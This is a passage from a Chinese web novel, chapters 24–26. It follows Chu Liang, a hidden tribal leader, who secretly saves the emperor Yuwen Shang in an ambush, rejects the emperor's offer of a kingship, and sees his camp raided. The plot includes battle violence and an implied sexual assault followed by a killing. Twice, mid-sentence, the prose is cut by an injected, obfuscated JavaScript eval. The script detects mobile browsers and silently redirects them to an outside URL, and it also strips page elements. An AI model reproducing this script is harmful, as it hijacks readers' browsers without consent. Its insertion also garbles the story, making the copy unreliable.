褚良打断他,声音疲惫却异常坚定,“送出情报,是不愿见生灵涂炭。但亲自参与剿杀狄戎,只会让云泽部彻底暴露在铎冽和……朝廷的视线之下。我们只想在这夹缝中求存,不想卷入任何一方的大战。此事到此为止。” 陈锋叹了口气,知道褚良心结难解,不再多劝。 这时,在一旁安静听着大人说话的褚昭,小脸上却满是兴奋。他凑到褚良身边,眼睛亮晶晶的。 “阿爹,我听□□哥哥说,北朝的皇帝非常厉害!他亲自带兵守住了黑石堡,把狄戎人打得落花流水!还说他身高十尺,壮比骆驼,一顿能吃下一整只烤羊!阿爹,你见过他么?他到底长什么样子?” 孩子的话语里充满了对强者的崇拜和好奇。 褚良听着儿子对宇文尚的赞美,眼神微微一黯,闪过一丝复杂难言的情绪,虽然很快掩饰过去,但那一瞬间的细微变化还是被敏感的褚昭捕捉到了。 褚昭立刻意识到自己可能说错话了,小脸上露出懊恼和不安。 他急忙伸出小手,紧紧抓住褚良的衣角,仰着小脸,急急地补充道,“但是,但是,阿爹才是最最最厉害的。阿爹保护着我们所有人!阿爹才是天下第一大英雄!” 孩子的语气无比认真,带着一种急于哄父亲开心的讨好。 看着儿子眼中纯粹的维护和紧张,褚良心中那点因宇文尚而起的阴郁瞬间被暖意驱散。 他失笑,用力揉了揉褚昭的头,将他搂进怀里,“傻昭昭,阿爹知道。” 褚昭这才放下心来,依偎在父亲怀里,脸上重新露出笑容。 然而,这份短暂的温馨并未持续多久。 拂晓时分,一名负责警戒的勇士气喘吁吁地冲进营地,带来了一个石破天惊的消息。 “首领,不好了!北朝皇帝…宇文尚亲自率领数千铁骑,追击狄戎副统领穆勒尔,正朝着‘断魂峡’方向去了!” “什么?!” 褚良和陈锋同时色变! 断魂峡,那是通往野狼谷方向的必经之路。 峡如其名,两侧崖壁陡峭如削,中间通道狭窄迂回,地势险恶至极。狄戎主力就在野狼谷,穆勒尔将追兵引入断魂峡,这分明是……请君入瓮! 宇文尚一旦进入峡底,必将遭遇毁灭性的伏击! 褚良的心瞬间沉到了谷底。 宇文尚怎么会如此冲动?!难道他真的信了那荒谬的谣言?! 他若死在断魂峡……北朝必定大乱!刚刚稳定的局面将瞬间崩解,狄戎铁蹄将再无顾忌,长驱直入!届时,无论是北朝百姓,还是他们这些躲在深山里的云泽部,都将面临灭顶之灾! 巨大的危机感冲刷得他头脑有一瞬的空白。 对宇文尚的恨意与对整个北境安危的责任感在他心中激烈交锋。他死死攥着拳头,指甲深深陷入掌心。 “阿爹?” 褚昭看着父亲骤然变得铁青的脸色和眼中激烈的挣扎,有些害怕地小声唤道,却并未得到回应。 时间仿佛凝固,每一秒的流逝,都意味着宇文尚离死亡陷阱更近一步! 终于,褚良猛地抬起头,眼中闪过决然的光芒!他不能坐视,不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356391|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了宇文尚,是为了这北境的苍生,为了云泽部最后的栖身之所! “锋哥!守好营地!我带一队人去断魂峡!” 褚良的声音斩钉截铁,不容置疑。 “阿良!太危险了!”陈锋大惊。 “顾不了那么多了!”褚良已迅速抓起自己的强弓和箭囊, “若宇文尚死在那里,我们都得陪葬!挑三十个最好的射手!快!” 马蹄声再次撕裂了鹰回涧的宁静。 褚良率领着三十名精锐射手,如同离弦之箭,抄着一条只有他们知道的、通往断魂峡上方崖壁的隐秘小路,全速狂奔! 当他们气喘吁吁地攀上断魂峡一侧的崖顶时,下方的景象让所有人倒吸一口凉气! 狭窄的峡谷底部,宇文尚率领的黑色铁骑洪流,正追着看似溃散实则为饵的狄戎骑兵深入峡中…… 而两侧高耸的崖壁上,至少五十名狄戎的伏兵如同等待猎物的秃鹫,早已张弓搭箭,做着杀戮的准备。 冰冷的箭簇在晨光下闪烁着致命的寒光,只待北朝军队完全进入口袋! 宇文尚的“乌云踏雪”似乎感应到危险,扬起马头,发出嘶鸣。 “放箭!” 突然,一声狄戎语的嘶吼从对面崖壁传来! 刹那间,凄厉的破空声如同死神的尖啸! 无数箭矢如同雨瀑,从两侧崖顶向着峡谷底部倾泻而下! 其中夹杂着数支明显淬着诡异幽蓝光芒的毒箭,直取冲在最前方、玄甲鲜明的宇文尚! “陛下小心!” 蒙毅目眦欲裂,嘶声大吼,却已救援不及! 千钧一发之际! “嗖!嗖!嗖!” 数支快如闪电的箭矢,带着尖锐的厉啸,竟然后发先至! 它们精准无比地从宇文尚侧后方的崖壁某处射出,如同长了眼睛一般,狠狠地撞击在那几支射向宇文尚要害的毒箭箭杆之上! “叮!叮!叮!”几声清脆的金铁交鸣。 那几支致命的毒箭被这突如其来的外力撞击,轨迹瞬间偏斜,擦着宇文尚的铠甲边缘,深深射入了他身旁的土地或岩石中,箭尾犹在剧烈颤抖! 与此同时,崖顶上传来几声凄厉短促的惨叫。几名刚刚射出箭矢的狄戎精锐弓箭手,或喉咙或心口处赫然插着箭羽,顺着崖壁栽倒下去。 这突如其来的变故让狄戎伏兵阵脚大乱,箭雨为之一滞。 宇文尚在生死边缘走了一遭,惊出一身冷汗,但身为帝王的本能让他抓住了这稍纵即逝的机会! 他眼中爆发出骇人的杀意,手中“龙渊”剑直指前方因伏击受阻而略显慌乱的穆勒尔! “杀——!!!” 震天的喊杀声在峡谷中回荡!北朝铁骑的士气被这神迹般的救援瞬间点燃,如同愤怒的狂潮,狠狠扑向混乱的狄戎军队。 穆勒尔肝胆俱裂,转身欲逃,却被宇文尚催动“乌云踏雪”如闪电般追上。 龙渊剑划出一道凄冷的弧光! 随即,一颗戴着狄戎皮帽的头颅冲天而起,穆勒尔的无头尸身轰然坠马! 狄戎伏兵见主将瞬间授首,伏击计划彻底失败,顿时斗志全无,哭爹喊娘地沿着崖壁小路溃逃。 战斗很快结束,峡谷中弥漫着浓重的血腥味。 宇文尚勒住战马,胸膛剧烈起伏。 劫后余生的心悸和巨大的疑惑交织在一起。 他抬头搜寻,锐利如鹰隼的目光扫向箭矢射来的崖壁方向。 可那里只有嶙峋的怪石和稀疏的灌木,已然空无一人,仿佛刚才那精准如神、救他一命的箭矢是凭空出现的神迹。 他翻身下马,走到那几支被撞偏、深深插入地面的毒箭旁。 毒箭旁的地上,静静躺着几支救了他性命的箭矢。 宇文尚俯身,捡起其中一支。 箭杆是普通的白桦木,但箭头处,却清晰地刻着一个独特、飘逸的云纹标记! 这个标记…… 宇文尚的身体骤然僵住!如同被一道九天惊雷劈中! 他下意识地、近乎颤抖地摸向自己腰间悬挂的一个旧锦囊。 那是他从不离身之物,里面静静躺着一支同样刻着飘逸云纹的旧箭头! 那是……褚良的飞星箭! 他猛地将手中刚捡起的箭矢与腰间断箭的并在一处。 一模一样的云纹! 宇文尚如遭重击,踉跄后退一步,死死攥着那支还带着战场余温的箭矢,手掌因为过度用力而暴出骇人的青筋! 深邃的紫眸中,瞬间掀起了足以吞噬一切的惊涛骇浪! 震惊、狂喜、难以置信、巨大的疑惑……种种情绪如同火山般在他胸中猛烈喷发! 是谁?! 是谁射出了这支箭?! 那崖顶之上,救他一命的人……是谁?! 25. 第 25 章 断魂峡的寒风卷着血腥味,吹拂着宇文尚的玄色披风,烈烈之声响彻谷底。 那箭头处清晰的云纹,如同滚烫的烙铁,深深印入他的眼底,灼烧着他的灵魂。他死死攥着这支救命的箭,指节泛白,仿佛要将它嵌入骨血之中。 “回营!” 宇文尚的声音嘶哑低沉,带着一种强行压抑的的震颤。 他翻身上马,目光最后扫了一眼空寂的崖顶,仿佛要将那片虚空看穿,找出那个藏匿的身影。 黑石堡主帅府邸内,气氛凝重得令人窒息。 宇文尚将那支云纹箭矢重重拍在案上,眼神灼灼地盯着被紧急召来的张铎。 “张铎!仔细看看这个!”宇文尚的声音带着罕见的急切,“这箭上的云纹标记,你可认得?在何处见过?” 张铎被皇帝身上散发出的巨大压迫感慑得心头发紧,连忙上前,双手恭敬地捧起那支箭矢,凑到眼前仔细端详。 那飘逸独特的云纹……他眉头紧锁,努力在记忆中搜寻。 突然,他眼睛一亮,猛地抬头,“陛下!末将想起来了,这云纹……末将确实见过!就在云泽部首领乌其乐的箭囊上!他的箭矢,似乎都带有这种独特的标记,末将曾近距离见过一次。” “果然是他!” 宇文尚猛地站起身,胸膛剧烈起伏,紫眸瞬间爆发出摄人的光芒。 张铎的话恰恰印证了他心中的疑虑。 乌其乐!那个身量、气质、箭术处处相符的人,那个以出神入化射术救了他性命的人,他几乎可以肯定,那就是他的良儿! 褚良没死!他就在草原,就在云泽部! “乌其乐……他的汉名是什么?!” 宇文尚的声音因激动而微微发颤,带着一种失而复得的狂喜和迫切。 张铎被皇帝的反应吓了一跳,茫然摇头,“回陛下,末将不知。云泽部上下皆只称其为‘乌其乐’首领。从未听闻其汉名。” 宇文尚眼中的光芒瞬间黯淡了一丝,但随即被更强烈的光芒取代。 回避汉名?这更像是一种刻意的隐瞒! 是良儿!一定是他!他是不想被自己找到,不想再与自己有任何瓜葛! 这个认知让宇文尚心如刀绞,一股巨大的恐慌袭上心头。 “张铎!你立刻想办法联系云泽部!告诉乌其乐首领,朕……朕要见他!立刻!马上!” 宇文尚的声音带着不容置疑的帝王威压,甚至有些失态, “你告诉他!朕知道是他,朕什么都知道了!朕要寻他回来!朕……” 他激动得几乎语无伦次,脑海中只有一个念头——立刻见到褚良! “陛下!”一直侍立在侧的王德全,看着皇帝濒临失控的状态,心急如焚,再也顾不得许多,扑通一声跪下,声音带着哭腔和极度的恳切, “陛下!请冷静!请三思啊,陛下!” 他膝行两步,仰头看着宇文尚,言辞恳切,“陛下,这一切都只是猜测啊!张将军也只是见过相似的云纹。那乌其乐首领箭术超群,或许……或许只是巧合?万一……万一他不是君后呢?陛下您如此急切,言辞间已认定他就是君后,若对方并非其人,岂不是……岂不是匪夷所思?更会令对方心生疑虑,甚至恐惧,以为朝廷另有所图啊,陛下!” 王德全的话很有说服力。 他深知皇帝此刻最在意的,是那个“万一不是”的可能后果:失去这个救命恩人的信任和潜在的盟友。 “陛下,” 王德全深吸一口气,继续道,“退一万步说,即便那位首领真的……真的是君后,他既隐姓埋名多年,又冒险送出情报、甚至今日救驾,却始终不愿露面相见,其意……恐怕已决。陛下若强行逼迫,以君后刚烈的性子,只怕适得其反。请陛下为大局计,为这位救命恩人计,慎重行事!” 王德全的话,如同一盆掺杂着冰块的冷水,狠狠浇在宇文尚沸腾的狂喜和冲动之上。 他高大的身躯晃了晃,扶着桌案才勉强站稳。 是啊……万一不是呢?万一良儿……根本不想见他呢?强行相逼,只会将他推得更远,甚至……再次失去他! 巨大的痛苦和挣扎在他脸上交织。 他闭了闭眼,再睁开时,眼中那疯狂的光芒已被强行压制下去,只剩下孤注一掷的决心。 “取纸笔来。”宇文尚的声音沙哑低沉。 王德全暂时松了口气,连忙奉上笔墨纸砚。 宇文尚深吸一口气,提起笔,手腕因用力克制而微微颤抖。 他极力压抑着心中翻江倒海的思念、悔恨和想要质问一切的冲动,强迫自己以最冷静、最官方的口吻书写: “北朝皇帝宇文尚致云泽部乌其乐首领, 惊悉首领于断魂峡仗义援手,箭术通神,救朕于危厄之间,朕心感念,铭感五内。 首领高义,实乃草原之幸,亦为朕之幸。 今北境狄戎为患,荼毒生灵。首领心怀仁厚,收容老弱,又深明大义,冒险传递军情,助朝廷御敌,功莫大焉。 朕闻之,深佩首领之胆识与担当。 朝廷素以信义为本,赏罚分明。首领及云泽部之功勋,朕不敢或忘。为表朝廷诚意,亦为酬谢阁下救命之恩,朕愿与云泽部结永世之盟,互为唇齿,共御外侮。 朕在此承诺: 一、 即刻册封首领为‘镇北王’,世袭罔替,永镇漠北草原,统辖归附各部。 二、 划‘鹰回涧’方圆三百里为云泽部永居之地,朝廷永不驻军,永不征税。 三、 开放边境五市,优先供给云泽部所需粮秣、盐铁、药材。 四、 朝廷将派遣名医及工匠,助云泽部繁衍生息。 为表诚意,朕诚邀乌其乐首领亲临黑石堡会晤,共商盟约细则及剿灭狄戎大计。 黑石堡大门,随时为阁下敞开,朕必以上宾之礼相待。 望首领念及北境苍生福祉,勿要推辞。 宇文尚亲笔” 信写毕,宇文尚重重盖上玉玺。那鲜红的印记,如同他心头滴落的血。他竭力将自己所有汹涌的情感都封存在这看似公事公办的官样文章之下,只留下一个帝王对“救命恩人”和“潜在盟友”的最高规格承诺。 “将此信,务必送到乌其乐首领手中。” 宇文尚将信交给张铎,声音带着极力压抑的希冀。 张铎双手接过这封重若千钧的信,肃然领命, “末将遵旨!定当竭尽全力!” 当张铎退出后,几位重臣也隐约得知了信中的内容。 册封“镇北王”?世袭罔替?划地三百里? 如此破格重赏,仅仅是为了一个身份不明的草原部落首领?! 这简直……疯了! “陛下……此举是否……太过……” 一位老臣忍不住开口,却被宇文尚冰冷的眼神打断。 “朕意已决。众爱卿退下歇息吧。” 宇文尚的声音不容置喙。 众臣面面相觑,只得忧心忡忡地退下。 随后聚集在偏厅,忍不住低声议论起来。 “陛下英明神武,可一牵扯到那位的事,哪怕是捕风捉影,也全然失了方寸啊!” “是啊,仅凭一个箭矢标记就如此大动干戈,万一那乌其乐并非君后,陛下这番作为,岂不成了天下笑柄?更会寒了群臣的心啊!” “最怕的是……陛下心中执念太深,若最终证实不是,这巨大的失落……恐会伤及龙体,甚至……神智啊!” 有人压低声音,说出了众人心底最深的忧虑。 “要不要……暗中寻访一个与君后样貌相似之人,暂且安抚陛下?”有人提出一个大胆而荒谬的想法。 “嘘!慎言!此事若被陛下知晓,我等项上人头还要不要了?只能……走一步看一步了。” 最终,只剩下深深的叹息和无法化解的担忧。 鹰回涧深处,云泽部营地。 张铎派出的信使历经艰险,终于将这封盖着皇帝玉玺、代表着无上荣宠和承诺的亲笔信送到了褚良手中。 陈锋先一步拆开,快速浏览一遍,脸上瞬间涌现出惊喜和振奋。 “阿良,快看!宇文尚……北朝皇帝的信!” 陈锋声音激动,“他封你做‘镇北王’,世袭罔替!划鹰回涧三百里为我们的永居之地!开放互市,派医匠!这……这简直是天大的好事!有了朝廷的正式册封和承诺,我们云泽部就再也不用东躲西藏,可以光明正大地在这里繁衍生息了!阿良,这……” 然而,褚良的反应却冰冷得如同寒潭。 他接过信纸,目光扫过那些华丽的辞藻和诱人的承诺,当看到“宇文尚亲笔”字样时,眼中非但没有丝毫喜悦,反而燃起了炙热的怒火。 “镇北王?呵……”褚良发出一声极低、却充满无尽悲愤的冷笑, “宇文尚以为凭一个王位,就能抹平一切吗?” 话音未落,在陈锋惊愕的目光中,褚良竟毫不犹豫地将那封足以改变整个部族命运的信,连同那精致的信封,猛地掷入面前熊熊燃烧的篝火之中! “阿良!你疯了!” 陈锋失声惊呼,下意识就想扑过去抢救,却被褚良冰冷而决绝的眼神钉在原地。 火焰贪婪地吞噬着纸张,瞬间将其化为焦黑的灰烬,袅袅上升。 褚良盯着那跳跃的火焰,仿佛看到了八年前死牢中的冲天大火,看到了宇文尚冷酷而充满占有欲的眼神,看到了那些不堪回首的屈辱和痛苦。 压抑了八年的恨意汹涌而出。 他背对着熟睡在角落毡毯上的褚昭,声音低沉而嘶哑,是对陈锋说,更像是在对自己说, “锋哥,你忘了他是怎么对我了吗?” 褚良的声音带着一种锥心刺骨的痛,“他疑我,辱我,将我像狗一样踩入泥泞!他将我打入那不见天日的死牢,用最屈辱的方式……践踏我最后一点尊严!在他眼里,我褚良,不过是他宇文尚养的一条狗!高兴时赏块骨头,不高兴时,随时可以打骂凌辱,甚至扔进火里烧死!” 他的身体微微颤抖,拳头紧握,指甲深深陷入掌心, “王位?封地?哈哈……这些东西,就能换回我失去的一切?就能抹去那些刻在骨头里的屈辱和恨吗?他宇文尚凭什么,他以为他是谁?施舍一点恩惠,我就要感恩戴德,摇着尾巴回到他身边吗?做梦!” 褚良猛地转身,眼中燃烧着熊熊的恨火,目光扫过熟睡中儿子那酷似宇文尚的眉眼轮廓,这相似更是如同火上浇油,让他心中的痛苦和恨意达到了顶点, “你看看昭昭!看看他的眼睛,头发!这一切无时无刻不在提醒我,那个男人对我做过什么!我怎么可能去见他?我怎么可能接受他的‘恩赐’?我恨不得……恨不得……” 后面的话,被他强行咽了回去,只剩下粗重的喘息。 陈锋看着眼前激动得几乎失控的褚良,听着他这罕见的、如同受伤野兽般的嘶吼,心中充满了震惊和复杂。 他从未见过褚良如此直白、如此激烈地宣泄对宇文尚的恨意。 这不像是在说服他陈锋,更像是在说服褚良自己——用最激烈的言辞,不断加固心中那道名为“仇恨”的堤坝,生怕它有一丝一毫的松动,让自己陷入万劫不复的软弱。 陈锋沉默了。 他想起了八年前那场惊心动魄的逃亡。褚良如何在死牢的烈火中“金蝉脱壳”,如何在颠簸的马背上强忍着剧痛和早产的征兆,如何在荒郊野岭的破庙里,在缺医少药的绝境中,九死一生地生下褚昭,血几乎流干…… 初到草原时,他们如何像丧家之犬般东躲西藏,如何从零开始,在弱肉强食的草原上挣扎求生。 褚良如何从一个曾经带着腼腆淳朴、甚至有些憨直的忠诚侍卫,被残酷的现实和沉重的责任硬生生磨砺成如今这个沉默寡言、心思深沉、手段果决的云泽部首领。 这期间经历了多少不堪、多少绝望、多少血泪? 在最初的几年,褚良常常会在深夜被噩梦惊醒,冷汗涔涔,口中无意识地喊着“陛下……不是我……”,眼中满是恐惧和绝望。 是褚昭一天天长大,那纯真的笑容和依恋,才像一道微弱却坚韧的光,慢慢驱散了他心底的部分阴霾,让他有了活下去的锚点。 八年时间,物是人非。 当初那个眼神明亮的青年早已死了,现在世间,没有褚良,只有乌其乐。 这改变是好是坏?陈锋无法评判。他只知道,褚良心中的伤疤太深太重,宇文尚此刻抛出的橄榄枝,无论包裹着多么华丽的外衣,在褚良看来,都无异于往那未曾愈合的伤口上撒盐,甚至是企图用新的枷锁将他重新套牢。 “……好,阿良。” 陈锋最终沉重地点点头,声音带着理解与无奈,“我明白了。我们……不见他。云泽部,靠自己。” 褚良紧绷的身体这才微微松懈下来,眼中的激烈情绪缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356392|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓退去,重新被一片深沉的疲惫和冷漠覆盖。 他不再看那堆信的灰烬,转身走向熟睡的儿子,背影在跳动的篝火映照下,显得格外孤寂而倔强。 与此同时,狄戎王帐内却是另一番景象。 “蠢货,一群废物!” 阿史那铎冽的咆哮几乎要将帐篷掀翻。 他面前的地上,滚落着一颗须发皆张、怒目圆睁的头颅。 正是副统领穆勒尔的首级!旁边,还放着一支尾部刻着云纹的箭矢。 “穆勒尔死了!伏击失败了!宇文尚那狗皇帝却连一根毛都没伤到!还让他砍了我一员大将的头!” 铎冽气得浑身发抖,一脚将穆勒尔的首级踢开老远,“还有这些箭!到底是谁?!是谁在帮宇文尚?!” “大王,” 一名参与伏击、侥幸逃回的将领战战兢兢地呈上那支箭,“伏击时,正是这种带有独特云纹的箭,射杀了我们埋伏在崖顶的几名神射手,还撞偏了射向宇文尚的毒箭!才……才导致功亏一篑!” “云纹?” 一旁的阿史那云珠,原本因兄长震怒而脸色苍白地垂首站立,此时目光不经意扫过那箭矢,当看清那熟悉的标记时,瞳孔骤然收缩,失声惊呼,“是乌其乐!这是乌其乐首领的箭!” 帐内瞬间死寂! 所有人的目光“唰”地一下集中在云珠身上! 铎冽猛地转头,血红的眼睛如同毒蛇般死死盯住云珠,声音阴寒刺骨,“你确定?!” 云珠被兄长的眼神吓得一哆嗦,但看着那箭矢,还是用力点头,“我……我认得!当初在……在王庭,我见过他用这种箭!箭头上就有这个云纹!绝不会错!” “乌其乐——!!!” 铎冽发出野兽般的咆哮,一拳狠狠砸在面前的矮几上,坚硬的木案瞬间四分五裂! “果然是你!坏我攻城大计在前,如今又救下宇文尚,杀我将士!此仇不共戴天!!” 他猛地转向负责搜寻的将领,面目狰狞,“废物!派出去的探子呢?!还没找到云泽部那群老鼠的藏身之处吗?!” 那将领冷汗涔涔,跪倒在地,“回……回大王!派往鹰回涧方向的几批探子全都失去音讯,恐……恐已遭不测!云泽部藏匿得极为隐蔽,且似乎早有防备……” “蠢蛋!给我加派人手!掘地三尺也要把他们挖出来!” 铎冽暴跳如雷,他眼中闪烁着疯狂的凶光,“本王要活捉乌其乐!要将他千刀万剐!把他的皮剥下来做鼓面!用他的骨头做鼓槌!” 发泄完怒火,铎冽阴冷的目光缓缓移向脸色惨白的云珠,嘴角勾起一抹残忍至极的弧度,“我的好妹妹……你这么了解乌其乐,这么熟悉他的箭……当初王帐大会后,是不是你……放走了他?” 云珠浑身剧震,惊恐地看着步步逼近的兄长,连连摇头,“不……不是!哥哥!我没有……” “没有?” 铎冽一把掐住云珠的下巴,仿佛要捏碎她的骨头,眼神冰冷如刀,“你以为本王是傻子?!若非你暗中相助,他带着那么多人,怎么可能悄无声息地逃出守卫森严的王庭?!你坏了本王的大事!还害死了穆勒尔!” 他猛地甩开云珠,对着帐外厉声喝道,“来人!把云珠给我拖下去!赏给乞颜部的老莫度!他不是早就觊觎我这‘好妹妹’的美貌了吗?告诉他,人是他的了!随他处置!” 帐外立刻冲进两名如狼似虎的侍卫。 “不——!哥哥!不要!求求你!” 云珠发出凄厉绝望的哭喊,拼命挣扎。 但铎冽看都不看她一眼,冷酷地挥手,“拖走!” 云珠被粗暴地拖出了王帐,哭喊声渐渐远去。 帐内一片死寂,无人敢言。 深夜,乞颜部首领老莫度那散发着汗臭和酒气的肮脏帐篷里。 云珠衣衫不整,眼神空洞地蜷缩在角落,脸上还带着泪痕和淤青。 那个令人作呕的老男人已经带着满足的鼾声睡去。 极致的屈辱和绝望如同毒蛇啃噬着她的心,她看着帐篷角落里一把用来割肉的匕首,眼中闪过一抹厉色。 她悄无声息地爬过去,拔出匕首。借着帐外透进的微弱月光,她看着老莫度那张松弛丑陋的睡脸,眼中没有恐惧,只有刻骨的恨意! “去死吧!老畜生!” 她用尽全身力气,将匕首狠狠刺入了老莫度肥厚的脖颈! “呃……” 老莫度猛地瞪大浑浊的眼睛,喉咙里发出嗬嗬的怪响,鲜血如同喷泉般涌出! 云珠拔出匕首,不顾溅了满身的鲜血,迅速扒下老莫度腰间代表身份的狼头令牌,又在帐篷里寻出一小袋金子和几块干粮。 她最后看了一眼帐篷内血腥的景象,眼中没有一丝留恋,只有冰冷的恨意和求生的渴望。 她像一只敏捷的夜猫,悄无声息地溜出帐篷,避开巡逻的守卫,扑向马厩,牵出一匹最快的骏马,翻身而上,狠狠一夹马腹! 骏马嘶鸣一声,如同离弦之箭般冲破了乞颜部营地的边缘,向着黑暗的草原深处亡命飞驰! 在她身后,乞颜部的营地很快因为首领被杀而陷入混乱和喧嚣。 而在混乱的阴影里,两道如同幽灵般的身影,悄无声息地翻身上马,循着云珠逃离的方向,如同魅影般追踪而去。 狂奔中,云珠从怀中掏出一个小小的骨哨,放在唇边,吹出一段奇特而尖锐的旋律。 片刻之后,高远的夜空中,传来一声清越的鹰唳! 一只神骏的海东青如同黑色的闪电,俯冲而下,稳稳地落在了云珠抬起的手臂上。 云珠喘息着,撕下自己内衬衣角的一块布,用染血的指尖在上面草草画了一个代表危险和求救的简易符号。 “去找他!去找乌其乐!去鹰回涧!” 云珠急促地对海东青低语,将布条紧紧系在它的脚环上,用力一扬手臂! 海东青振翅高飞,发出一声嘹亮的鸣叫,瞬间消失在茫茫的夜色之中,朝着云泽部可能藏匿的鹰回涧方向,疾飞而去。 云珠看着海东青消失的方向,眼中泛起希翼,随即再次被巨大的恐惧笼罩。 她狠狠抽打马匹,向着与海东青不同的方向狂奔,试图引开可能存在的追兵。 而在她身后不远处的黑暗中,那两名追踪者对视一眼,一人继续悄无声息地尾随云珠,另一人则调转马头,朝着海东青飞走的方向,快马加鞭而去。 26. 第 26 章 海东青如同一枚疾速的箭矢,精准地俯冲而下,落在褚良抬起的手臂上。 急促的鹰唳带着不安。 褚良迅速解下脚环上染血的布条,借着篝火看清了那个扭曲的求救符号和云珠的血指印。 “云珠出事了!” 褚良心头一紧,立刻起身,“锋哥,看好营地!我带几个人去接应!” 陈锋忙点头起身送他,“小心!” 褚良带着五名部族勇士,循着海东青指引的方向,在夜色中疾驰。两个时辰后,他们在一处荒凉的沙丘背风面找到了几乎力竭的云珠。 她浑身浴血,精疲力尽,看到褚良的瞬间,眼中爆发出最后的光彩,话都未及说一句,便晕厥过去。 褚良迅速将她抱上马背,命人简单包扎伤口,立刻掉头回返。 然而,当他们一行人快马加鞭赶回鹰回涧深处那个自以为隐秘的营地时,眼前的景象让褚良如坠冰窟! 火光冲天,浓烟滚滚! 原本宁静的营地此刻已化为修罗场! 凄厉的哭喊、兵刃的碰撞,与狄戎人野兽般的嘶吼混杂在一起! 简陋的毡帐被点燃,老人和孩子在火光中惊恐奔逃,部族的勇士们正依托着营地边缘的天然石壁和狭窄通道,与数倍于己、如潮水般涌来的狄戎骑兵浴血厮杀! 地上已倒伏了不少云泽部族人的尸体,其中不乏妇孺! 陈锋浑身染血,不知是他的还是敌人的,此刻正指挥着残存的青壮拼死抵抗,看到褚良回来,他嘶声大吼, “阿良!狄戎人从后山摸上来了!他们找到了路!快带人走!” 显然,狄戎探子追着海东青而来,锁定了他们的位置,并趁着褚良带人离开、营地防守相对空虚的时机发动了突袭! “云珠!带她走!”褚良将昏迷的云珠交给身边一名勇士。 随后回过身,双眼赤红,他发出一声如同受伤孤狼般的怒吼,拔出腰间弯刀,毫不犹豫地冲入了最惨烈的战团! “杀——!!!” 他的加入如同给濒临崩溃的防线注入了一剂强心针。 褚良身先士卒,刀光如匹练,所过之处狄戎骑兵纷纷落马。 他精准地找到狄戎队伍里的薄弱点,带领着还能战斗的族人奋力反击,硬生生撕开一道缺口。 “锋哥!带人从西边断崖撤!快!”褚良嘶吼着,一刀劈翻一个试图偷袭陈锋的狄戎兵。 陈锋知道此刻不是犹豫的时候,他强忍悲痛,组织起还能行动的族人:大多是惊魂未定的老弱妇孺和受伤的战士。 他们舍弃了所有无法携带的辎重、帐篷、粮食,甚至来不及牵走那些赖以生存的牛羊,在褚良和断后勇士的拼死掩护下,沿着一条极其陡峭隐秘的小路,仓惶向更高、更险峻的鹰喙崖撤退。 这场惨烈的突围战持续了小半个时辰。 当褚良带着最后几名浑身是伤的勇士,逼退追兵,攀上鹰喙崖与陈锋汇合时,清点人数,所有人心都沉到了谷底。 原本三百余口的云泽部,此刻仅剩下不足两百人! 其中大半带伤,妇孺的哭泣声在刺骨的夜风中显得格外凄楚。 更致命的是,仓促撤退下,粮食和药品几乎全部丢失,仅存的一点干粮在逃亡中也消耗殆尽。 饥寒交迫,伤病交加,鹰喙崖上寒风凛冽,云泽部彻底陷入了绝境。 褚良看着族人绝望疲惫的脸庞,看着陈锋怀中因失血过多而昏迷不醒的云珠,看着角落里因惊吓和高烧而蜷缩着瑟瑟发抖的褚昭,一股巨大的无力感和深切的悲愤几乎将他吞噬。 他紧紧攥着手中染血的弯刀,臂膀不自觉的发抖。 黑石堡内,气氛凝重。 虽然南线不断传来捷报:襄阳守将在围城、策反和日夜袭扰的多重压力下,终于开城投降! 南朝小皇帝宇文钰在连失重镇后,已如丧家之犬般逃窜至海边,据传藏匿在一艘随时准备扬帆出海的大船上。 南朝覆灭只在旦夕之间。 然而,这些辉煌的胜利丝毫未能驱散宇文尚眉宇间的阴霾。 云泽部失联了。 张铎派出的几波联络兵,没有带回任何关于乌其乐首领和云泽部的消息。 “陛下……” 张铎忧心忡忡地禀报,“恐怕……云泽部已被狄戎发现,遭遇了报复性的袭击!末将恳请……” “朕知道!” 宇文尚猛地打断他,声音低沉压抑,紫眸中翻涌着焦虑与怒火。 他站在巨大的沙盘前,目光却没有焦距。 云泽部能去哪里?为何遍寻不到? 他怎能不知?乌其乐送出关键情报,又在断魂峡救了他,必然成为铎冽的眼中钉肉中刺! 狄戎人找不到云泽部,定会像疯狗一样四处搜索,一旦找到,便是灭顶之灾! 可恨!他竟不知道他的良儿此刻身在何处,正承受着怎样的危险!这种无能为力的感觉,比战场上的刀光剑影更让他煎熬。 “不能再等了!” 宇文尚猛地一拳砸在沙盘边缘,眼中闪过寒光, “传令蒙毅!集结所有精锐骑兵!即刻拔营!” “陛下?”众将愕然。 “目标,野狼谷!” 宇文尚的声音断然, “既然找不到云泽部,那就打疼铎冽!逼他回救老巢!减轻乌其乐那边的压力!” 这是唯一能间接帮助云泽部的办法!他要主动出击,将狄戎主力的注意力吸引过来! 北朝铁骑如同出闸的猛虎,直扑铎冽的老巢野狼谷! 宇文尚亲自指挥,攻势迅猛而凌厉。 狄戎主力猝不及防,依托谷口险要仓促应战,双方在野狼谷外爆发了激烈的遭遇战。 北军士气高昂,装备精良,很快占据了上风。 激战中,一支北军斥候小队擒获了一名落单的狄戎探子。 那探子为了活命,主动吐露了一些信息。 